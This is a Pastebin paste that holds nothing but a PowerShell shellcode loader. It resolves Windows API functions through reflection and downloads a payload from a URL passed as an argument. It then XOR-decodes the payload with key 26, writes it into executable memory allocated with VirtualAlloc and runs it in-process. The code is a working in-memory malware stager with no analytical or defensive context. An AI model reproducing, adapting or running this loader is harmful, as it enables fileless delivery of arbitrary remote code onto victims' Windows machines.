Advertisement
or2

world

or2
Jul 15th, 2020
699
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Set-StrictMode -Version 2
  2.  
  3. function get_delegate_type {
  4.     Param (
  5.         [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
  6.         [Parameter(Position = 1)] [Type] $var_return_type = [Void]
  7.     )
  8.     $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  9.     $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
  10.     $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
  11.     return $var_type_builder.CreateType()
  12. }
  13.  
  14. function get_proc_address {
  15.     Param ($var_module, $var_procedure)    
  16.     $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  17.     $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
  18.     return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
  19. }
  20.  
  21. If ([IntPtr]::size -eq 8) {
  22.     $client = New-Object Net.WebClient
  23.     [Byte[]]$var_code = $client.
  24.     DownloadData($args[0])
  25.     for ($x = 0; $x -lt $var_code.Count; $x++) {
  26.         $var_code[$x] = $var_code[$x] -bxor 26
  27.     }
  28.     $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll VirtualAlloc), (get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
  29.     $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
  30.     [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
  31.     $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (get_delegate_type @([IntPtr]) ([Void])))
  32.     $var_runme.Invoke([IntPtr]::Zero)
  33. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement